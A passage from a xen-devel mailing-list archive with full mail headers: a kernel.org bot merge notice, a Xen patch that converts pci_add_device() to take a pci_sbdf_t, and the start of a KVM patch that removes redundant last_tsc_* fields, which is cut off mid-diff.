	h=Subject:From:In-Reply-To:References:Date:To:Cc;
	b=k4ayWB6PeBEyCS21jjUK+yFOOVoSk3gcVL0UCFKfXsvISsuybeRKqvcC1xOw99Tnk
	 YMYzaXcLwk2JXvV6XwrnR3QQpCI3UwSV/b8FGTLVFLiWsqueYAPaXAm9HT5r/35vej
	 gkn8kGOYBbJ5AW4eScaLdZqbPcDw7c2YPIW/DqGo6JHDAn0ClybmDPdVpVPkUzfoCl
	 GAwLL8Fcpu1XFHaW2n7R7FrQj2Naw0l8Is7hDwXfU0jNwts9Bri1YjbnJT7rNp+ZVt
	 qF+xjMA4QxIN/pDpIdljhuOf7aqAL0Pto7/6aHGksJcDaQyV3tGH/9DXTXFTfj7FFz
	 Ib/XdryehMZWQ==
Subject: Re: [GIT PULL] xen: branch for v7.2-rc2
From: pr-tracker-bot@kernel.org
In-Reply-To: <20260703094331.1752102-1-jgross@suse.com>
References: <20260703094331.1752102-1-jgross@suse.com>
X-PR-Tracked-List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
X-PR-Tracked-Message-Id: <20260703094331.1752102-1-jgross@suse.com>
X-PR-Tracked-Remote: git://git.kernel.org/pub/scm/linux/kernel/git/xen/tip.git for-linus-7.2a-rc2-tag
X-PR-Tracked-Commit-Id: fcd245ea7528d50fddffc0fd1308941a9180f5b3
X-PR-Merge-Tree: torvalds/linux.git
X-PR-Merge-Refname: refs/heads/master
X-PR-Merge-Commit-Id: 4dbc94bcc2df0c3bba40318c0751a8f487486783
Message-Id: <178309410689.2776291.14945976796385511167.pr-tracker-bot@kernel.org>
Date: Fri, 03 Jul 2026 15:55:06 +0000
To: Juergen Gross <jgross@suse.com>
Cc: torvalds@linux-foundation.org, linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org, sstabellini@kernel.org
X-purgate-ID: tlsNG-bad1c0/1783094127-47D34986-8A89B703/0/0
X-purgate-type: clean
X-purgate-size: 363

The pull request you sent on Fri,  3 Jul 2026 11:43:31 +0200:

> git://git.kernel.org/pub/scm/linux/kernel/git/xen/tip.git for-linus-7.2a-rc2-tag

has been merged into torvalds/linux.git:
https://git.kernel.org/torvalds/c/4dbc94bcc2df0c3bba40318c0751a8f487486783

Thank you!

-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/prtracker.html


From xen-devel-bounces@lists.xenproject.org Fri Jul 03 16:30:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 16:30:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353525.1609369 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfgmL-00060G-6L; Fri, 03 Jul 2026 16:30:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353525.1609369; Fri, 03 Jul 2026 16:30:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfgmL-000608-34; Fri, 03 Jul 2026 16:30:13 +0000
Received: by outflank-mailman (input) for mailman id 1353525;
 Fri, 03 Jul 2026 16:30:12 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f28d0d9fc00080a8@swg.vates.tech>)
 id 1wfgmJ-000602-M3
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 16:30:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfgmI-00Ahc5-LF
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 18:30:10 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f28d0d9fc00080a8@swg.vates.tech>)
 id 6a47e388-2eae-0a2a0a5409dd-0a2a4501817a-22
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 18:30:10 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f28d0d9fc00080a8@swg.vates.tech>)
 id 6a47e392-400f-0a2a45010019-b9ff1c22976d-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 18:30:10 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f28d0d9fc00080a8.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 03 Jul 2026 16:30:03 +0000
Received: from localhost.localdomain (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id D6F3680A50;
 Fri,  3 Jul 2026 18:30:02 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=RQjEcU4YXGqI5p2avl7VVKfWwfVX8xlmY4b9mgjYYxQ=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=KBFtbqOX3yP+ftlSrP90Ur7znTycsqg4wcYWQDUyx3D1j8iUaI2So3d5hq6Wpd2UBiRBwtYuS
 8sKvVDpKQRNQkd4PuNlBVX77aN+F2MdKJn5+Upmau3Z2AQ4EKWW+yhndyzTsWWwVn7bhelLAOay
 0TmV6sOT/HUET3rBK/FbXD3XN7r68PVK0FphoAepag/yrOt8hpxDIY2wddnnioXBEyfNluY2B4R
 d6o114Zh6bGm62yctZZ+gK1B3jt28um2+j7qdznUQDcpHD4EDVxNM95iI0Yd6C4x3JG+PAeZym7
 GiR1/nQ5C0KwAZ/5o+pXWRQE+T+nyS9fzY0npVkG+6Mw==
X-Zone-Loop: df28dea631562b212faec0e426749e529d3a5150216c
x-campaign-type: default
x-transaction-id: 7633c826-ec20-4c9e-a44b-1d67d7966408
x-swg-uid: 01-5c2e9b72-ea6d-43d9-8898-0e6cde5ab358
X-Mailer: Sweego
Message-ID:
 <1783096203.8631fc262581453bbf619ec5b2062170.19f28d0d9fc00080a8@vates.tech>
x-swg-bid: 1783096203.8631fc262581453bbf619ec5b2062170.19f28d0d9fc00080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	"Daniel P. Smith" <dpsmith@apertussolutions.com>
Subject: [PATCH v3.1 02/18] pci: Use pci_sbdf_t in pci_add_device()
Date: Fri,  3 Jul 2026 18:29:06 +0200
In-Reply-To: <1782753810.8631fc262581453bbf619ec5b2062170.19f1468572a000701b@vates.tech>
References: <1782753810.8631fc262581453bbf619ec5b2062170.19f1468572a000701b@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.ef.f30dce182e3a6b24.19f28d0d76b.198041397edd7b15=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783096203116
X-purgate-ID: tlsNG-d62444/1783096210-80CD61E0-BAD80866/0/0
X-purgate-type: clean
X-purgate-size: 8407

---=Part.ef.f30dce182e3a6b24.19f28d0d76b.198041397edd7b15=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
v3: Don't adjust adjacent code=2E
v3=2E1: Remove slot variable and move func down to its user=2E
---
 xen/arch/x86/physdev=2Ec        |  6 +++---
 xen/drivers/passthrough/pci=2Ec | 37 +++++++++++++++++------------------
 xen/drivers/pci/physdev=2Ec     |  3 ++-
 xen/include/xen/pci=2Eh         |  4 ++--
 4 files changed, 25 insertions(+), 25 deletions(-)

diff --git a/xen/arch/x86/physdev=2Ec b/xen/arch/x86/physdev=2Ec
index 5bbcf3b530=2E=2E60c02076d6 100644
--- a/xen/arch/x86/physdev=2Ec
+++ b/xen/arch/x86/physdev=2Ec
@@ -472,7 +472,7 @@ ret_t do_physdev_op(int cmd, XEN_GUEST_HANDLE_PARAM(vo=
id) arg)
         if ( copy_from_guest(&manage_pci, arg, 1) !=3D 0 )
             break;
=20
-        ret =3D pci_add_device(0, manage_pci=2Ebus, manage_pci=2Edevfn,
+        ret =3D pci_add_device(PCI_SBDF(0, manage_pci=2Ebus, manage_pci=
=2Edevfn),
                              NULL, NUMA_NO_NODE);
         break;
     }
@@ -503,8 +503,8 @@ ret_t do_physdev_op(int cmd, XEN_GUEST_HANDLE_PARAM(vo=
id) arg)
         pdev_info=2Eis_virtfn =3D manage_pci_ext=2Eis_virtfn;
         pdev_info=2Ephysfn=2Ebus =3D manage_pci_ext=2Ephysfn=2Ebus;
         pdev_info=2Ephysfn=2Edevfn =3D manage_pci_ext=2Ephysfn=2Edevfn;
-        ret =3D pci_add_device(0, manage_pci_ext=2Ebus,
-                             manage_pci_ext=2Edevfn,
+        ret =3D pci_add_device(PCI_SBDF(0, manage_pci_ext=2Ebus,
+                                      manage_pci_ext=2Edevfn),
                              &pdev_info, NUMA_NO_NODE);
         break;
     }
diff --git a/xen/drivers/passthrough/pci=2Ec b/xen/drivers/passthrough/pci=
=2Ec
index 0adf573150=2E=2Ed7e60e6fbb 100644
--- a/xen/drivers/passthrough/pci=2Ec
+++ b/xen/drivers/passthrough/pci=2Ec
@@ -662,12 +662,10 @@ unsigned int pci_size_mem_bar(pci_sbdf_t sbdf, unsig=
ned int pos,
     return is64bits ? 2 : 1;
 }
=20
-int pci_add_device(u16 seg, u8 bus, u8 devfn,
-                   const struct pci_dev_info *info, nodeid_t node)
+int pci_add_device(pci_sbdf_t sbdf, const struct pci_dev_info *info, node=
id_t node)
 {
     struct pci_seg *pseg;
     struct pci_dev *pdev;
-    unsigned int slot =3D PCI_SLOT(devfn), func =3D PCI_FUNC(devfn);
     const char *type;
     int ret;
=20
@@ -680,17 +678,17 @@ int pci_add_device(u16 seg, u8 bus, u8 devfn,
     else
         type =3D "device";
=20
-    ret =3D xsm_resource_plug_pci(XSM_PRIV, (seg << 16) | (bus << 8) | de=
vfn);
+    ret =3D xsm_resource_plug_pci(XSM_PRIV, sbdf=2Esbdf);
     if ( ret )
         return ret;
=20
     ret =3D -ENOMEM;
=20
     pcidevs_lock();
-    pseg =3D alloc_pseg(seg);
+    pseg =3D alloc_pseg(sbdf=2Eseg);
     if ( !pseg )
         goto out;
-    pdev =3D alloc_pdev(pseg, bus, devfn);
+    pdev =3D alloc_pdev(pseg, sbdf=2Ebus, sbdf=2Edevfn);
     if ( !pdev )
         goto out;
=20
@@ -701,16 +699,15 @@ int pci_add_device(u16 seg, u8 bus, u8 devfn,
         pdev->info =3D *info;
         if ( pdev->info=2Eis_virtfn )
         {
-            struct pci_dev *pf_pdev =3D
-                pci_get_pdev(NULL, PCI_SBDF(seg, info->physfn=2Ebus,
-                                            info->physfn=2Edevfn));
+            pci_sbdf_t pf_sbdf =3D PCI_SBDF(sbdf=2Eseg, info->physfn=2Ebu=
s,
+                                          info->physfn=2Edevfn);
+            struct pci_dev *pf_pdev =3D pci_get_pdev(NULL, pf_sbdf);
=20
             if ( !pf_pdev )
             {
                 printk(XENLOG_WARNING
                        "Attempted to add SR-IOV VF %pp without PF %pp\n",
-                       &pdev->sbdf,
-                       &PCI_SBDF(seg, info->physfn=2Ebus, info->physfn=2E=
devfn));
+                       &sbdf, &pf_sbdf);
                 free_pdev(pseg, pdev);
                 ret =3D -ENODEV;
                 goto out;
@@ -729,14 +726,14 @@ int pci_add_device(u16 seg, u8 bus, u8 devfn,
             if ( !pdev->ext_cfg )
                 printk(XENLOG_WARNING
                        "%pp: VF without extended config space?\n",
-                       &pdev->sbdf);
+                       &sbdf);
         }
     }
=20
     if ( !pdev->info=2Eis_virtfn && !pdev->physfn=2Evf_rlen[0] )
     {
         unsigned int pos =3D pci_find_ext_capability(pdev, PCI_EXT_CAP_ID=
_SRIOV);
-        uint16_t ctrl =3D pci_conf_read16(pdev->sbdf, pos + PCI_SRIOV_CTR=
L);
+        uint16_t ctrl =3D pci_conf_read16(sbdf, pos + PCI_SRIOV_CTRL);
=20
         if ( !pos )
             /* Nothing */;
@@ -750,18 +747,18 @@ int pci_add_device(u16 seg, u8 bus, u8 devfn,
             for ( i =3D 0; i < PCI_SRIOV_NUM_BARS; )
             {
                 unsigned int idx =3D pos + PCI_SRIOV_BAR + i * 4;
-                uint32_t bar =3D pci_conf_read32(pdev->sbdf, idx);
+                uint32_t bar =3D pci_conf_read32(sbdf, idx);
=20
                 if ( (bar & PCI_BASE_ADDRESS_SPACE) =3D=3D
                      PCI_BASE_ADDRESS_SPACE_IO )
                 {
                     printk(XENLOG_WARNING
                            "SR-IOV device %pp with vf BAR%u in IO space\n=
",
-                           &pdev->sbdf, i);
+                           &sbdf, i);
                     ++i;
                     continue;
                 }
-                ret =3D pci_size_mem_bar(pdev->sbdf, idx, NULL,
+                ret =3D pci_size_mem_bar(sbdf, idx, NULL,
                                        &pdev->physfn=2Evf_rlen[i],
                                        PCI_BAR_VF |
                                        ((i =3D=3D PCI_SRIOV_NUM_BARS - 1)=
 ?
@@ -772,7 +769,7 @@ int pci_add_device(u16 seg, u8 bus, u8 devfn,
         }
         else
             printk(XENLOG_WARNING "SR-IOV device %pp has its virtual"
-                   " functions already enabled (%04x)\n", &pdev->sbdf, ct=
rl);
+                   " functions already enabled (%04x)\n", &sbdf, ctrl);
     }
=20
     check_pdev(pdev);
@@ -818,14 +815,16 @@ out:
     pcidevs_unlock();
     if ( !ret )
     {
-        printk(XENLOG_DEBUG "PCI add %s %pp\n", type, &pdev->sbdf);
+        unsigned int func =3D sbdf=2Efn;
+
+        printk(XENLOG_DEBUG "PCI add %s %pp\n", type, &sbdf);
         while ( pdev->phantom_stride )
         {
             func +=3D pdev->phantom_stride;
             if ( PCI_SLOT(func) )
                 break;
             printk(XENLOG_DEBUG "PCI phantom %pp\n",
-                   &PCI_SBDF(seg, bus, slot, func));
+                   &PCI_SBDF(sbdf=2Eseg, sbdf=2Ebus, sbdf=2Edev, func));
         }
     }
     return ret;
diff --git a/xen/drivers/pci/physdev=2Ec b/xen/drivers/pci/physdev=2Ec
index d46501b884=2E=2E46735a5fc9 100644
--- a/xen/drivers/pci/physdev=2Ec
+++ b/xen/drivers/pci/physdev=2Ec
@@ -50,7 +50,8 @@ ret_t pci_physdev_op(int cmd, XEN_GUEST_HANDLE_PARAM(voi=
d) arg)
         }
 #endif
=20
-        ret =3D pci_add_device(add=2Eseg, add=2Ebus, add=2Edevfn, &pdev_i=
nfo, node);
+        ret =3D pci_add_device(PCI_SBDF(add=2Eseg, add=2Ebus, add=2Edevfn=
),
+                             &pdev_info, node);
         break;
     }
=20
diff --git a/xen/include/xen/pci=2Eh b/xen/include/xen/pci=2Eh
index ade882caee=2E=2E26c0c6e449 100644
--- a/xen/include/xen/pci=2Eh
+++ b/xen/include/xen/pci=2Eh
@@ -229,8 +229,8 @@ void setup_hwdom_pci_devices(struct domain *d,
 int pci_release_devices(struct domain *d);
 int pci_add_segment(u16 seg);
 const unsigned long *pci_get_ro_map(u16 seg);
-int pci_add_device(u16 seg, u8 bus, u8 devfn,
-                   const struct pci_dev_info *info, nodeid_t node);
+int pci_add_device(pci_sbdf_t sbdf, const struct pci_dev_info *info,
+                   nodeid_t node);
 int pci_remove_device(u16 seg, u8 bus, u8 devfn);
 int pci_ro_device(int seg, int bus, int devfn);
 int pci_hide_device(unsigned int seg, unsigned int bus, unsigned int devf=
n);
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.ef.f30dce182e3a6b24.19f28d0d76b.198041397edd7b15=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353753.1609467 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKo-0005Z7-26; Fri, 03 Jul 2026 21:22:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353753.1609467; Fri, 03 Jul 2026 21:22:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKn-0005Xe-TV; Fri, 03 Jul 2026 21:22:05 +0000
Received: by outflank-mailman (input) for mailman id 1353753;
 Fri, 03 Jul 2026 21:22:04 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKm-00051o-8x
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKl-00CeeP-Lo; Fri, 03 Jul 2026 23:22:03 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827de-bab6-0a2a0a5309dd-0a2a450adcec-14
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:02 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827fa-e40e-0a2a450a0019-5a9b3222c012-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:02 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKX-0000000AsYB-09Vp; Fri, 03 Jul 2026 21:21:49 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001RP9-3lTW;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=EXbsKVccUqJVUsNQz6ddm7iFrU6RHTQ7Y+Y2aEq7ws8=; b=bmWLHuUVFitSUFZOTx9OuvAnfd
	xPH4uTWi9QwLkGQZiHcolsh2xvG2w+yaFIm6i3YV1ye8RBp7cKq+mwvTGGF+JhdBEMUE5bBTAdMKk
	0IYlkrAN/MRrqOBcpHFfI+dzK6kbqckneRzOhdzUIj7qH+AWGPVy7JUQLJYgjbTPxlhB4eB5SwXmA
	uI1j/2xzbfvh6RW09eoS99Y3PPw//1OiHHNoYebGJIdwL13NuGPRTZD4QY77tAFfJcdzkJgJ6DjLo
	8KHrwUNDMmWRZUUINWybBd1Ov9lHW3YVD/FKf6ETSPYBgbG7dkcdaqqxnn57QUV+cq3wubXh174y0
	gUWoax4g==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 20/36] KVM: x86: Kill last_tsc_{nsec,write,offset} fields
Date: Fri,  3 Jul 2026 22:17:59 +0100
Message-ID: <20260703212145.343527-21-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-4011c0/1783113722-CED3BDDE-051B5C97/0/0
X-purgate-type: clean
X-purgate-size: 6394

From: David Woodhouse <dwmw@amazon.co.uk>

These pointlessly duplicate the cur_tsc_{nsec,write,offset} values.
The only place they were used was where the TSC is stable and a new
vCPU is being synchronized to the previous setting, in which case the
cur_tsc_* value is definitely identical.

Rename last_tsc_khz and last_tsc_scaling_ratio to cur_tsc_khz and
cur_tsc_scaling_ratio respectively, since they are properties of the
current TSC generation.

Since cur_tsc_offset now serves as the single source of truth for the
TSC generation's offset, the backwards-TSC adjustment (used during S4
resume when the host TSC resets) must also update cur_tsc_offset by the
same delta applied to all vCPUs. Without this, subsequent vCPUs that
synchronize after the adjustment would get the stale pre-S4 offset.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/include/asm/kvm_host.h |  7 ++---
 arch/x86/kvm/x86.c              | 45 +++++++++++++++++----------------
 2 files changed, 25 insertions(+), 27 deletions(-)

diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h
index 87435ddecde1..e752b13c0809 100644
--- a/arch/x86/include/asm/kvm_host.h
+++ b/arch/x86/include/asm/kvm_host.h
@@ -1486,11 +1486,8 @@ struct kvm_arch {
 	 * preemption-disabled region, so it must be a raw spinlock.
 	 */
 	raw_spinlock_t tsc_write_lock;
-	u64 last_tsc_nsec;
-	u64 last_tsc_write;
-	u32 last_tsc_khz;
-	u64 last_tsc_offset;
-	u64 last_tsc_scaling_ratio;
+	u32 cur_tsc_khz;
+	u64 cur_tsc_scaling_ratio;
 	u64 cur_tsc_nsec;
 	u64 cur_tsc_write;
 	u64 cur_tsc_offset;
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index ffe5f98a5688..478147aff56a 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2813,14 +2813,12 @@ static void __kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 offset, u64 tsc,
 		vcpu->kvm->arch.user_set_tsc = true;
 
 	/*
-	 * We also track th most recent recorded KHZ, write and time to
-	 * allow the matching interval to be extended at each write.
+	 * Track the TSC frequency, scaling ratio, and offset for the current
+	 * generation. These are used to detect matching TSC writes and to
+	 * compute the guest TSC from the host clock.
 	 */
-	kvm->arch.last_tsc_nsec = ns;
-	kvm->arch.last_tsc_write = tsc;
-	kvm->arch.last_tsc_khz = vcpu->arch.virtual_tsc_khz;
-	kvm->arch.last_tsc_offset = offset;
-	kvm->arch.last_tsc_scaling_ratio = vcpu->arch.l1_tsc_scaling_ratio;
+	kvm->arch.cur_tsc_khz = vcpu->arch.virtual_tsc_khz;
+	kvm->arch.cur_tsc_scaling_ratio = vcpu->arch.l1_tsc_scaling_ratio;
 
 	vcpu->arch.last_guest_tsc = tsc;
 
@@ -2833,8 +2831,6 @@ static void __kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 offset, u64 tsc,
 		 * nanosecond time, offset, and write, so if TSCs are in
 		 * sync, we can match exact offset, and if not, we can match
 		 * exact software computation in compute_guest_tsc()
-		 *
-		 * These values are tracked in kvm->arch.cur_xxx variables.
 		 */
 		kvm->arch.cur_tsc_generation++;
 		kvm->arch.cur_tsc_nsec = ns;
@@ -2874,7 +2870,7 @@ static void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
 	}
 
 	offset = kvm_compute_l1_tsc_offset(vcpu, host_tsc, data);
-	elapsed = ns - kvm->arch.last_tsc_nsec;
+	elapsed = ns - kvm->arch.cur_tsc_nsec;
 
 	if (vcpu->arch.virtual_tsc_khz) {
 		if (data == 0) {
@@ -2884,7 +2880,7 @@ static void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
 			 */
 			synchronizing = true;
 		} else if (kvm->arch.user_set_tsc) {
-			u64 tsc_exp = kvm->arch.last_tsc_write +
+			u64 tsc_exp = kvm->arch.cur_tsc_write +
 						nsec_to_cycles(vcpu, elapsed);
 			u64 tsc_hz = vcpu->arch.virtual_tsc_khz * 1000LL;
 			/*
@@ -2915,7 +2911,7 @@ static void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
 	 * it's better to try to match offsets from the beginning.
          */
 	if (synchronizing &&
-	    vcpu->arch.virtual_tsc_khz == kvm->arch.last_tsc_khz) {
+	    vcpu->arch.virtual_tsc_khz == kvm->arch.cur_tsc_khz) {
 		/*
 		 * If synchronizing, advance the reference point to "now"
 		 * so the matching window slides forward with each vCPU.
@@ -3199,7 +3195,7 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 		 * get_kvmclock() to compute kvmclock from the host TSC
 		 * without needing a vCPU reference.
 		 */
-		ka->master_tsc_scaling_ratio = ka->last_tsc_scaling_ratio;
+		ka->master_tsc_scaling_ratio = ka->cur_tsc_scaling_ratio;
 		tsc_hz = (u64)get_cpu_tsc_khz() * 1000;
 		if (tsc_hz && kvm_caps.has_tsc_control)
 			tsc_hz = kvm_scale_tsc(tsc_hz,
@@ -6068,8 +6064,8 @@ static int kvm_arch_tsc_set_attr(struct kvm_vcpu *vcpu,
 		raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
 
 		matched = (vcpu->arch.virtual_tsc_khz &&
-			   kvm->arch.last_tsc_khz == vcpu->arch.virtual_tsc_khz &&
-			   kvm->arch.last_tsc_offset == offset);
+			   kvm->arch.cur_tsc_khz == vcpu->arch.virtual_tsc_khz &&
+			   kvm->arch.cur_tsc_offset == offset);
 
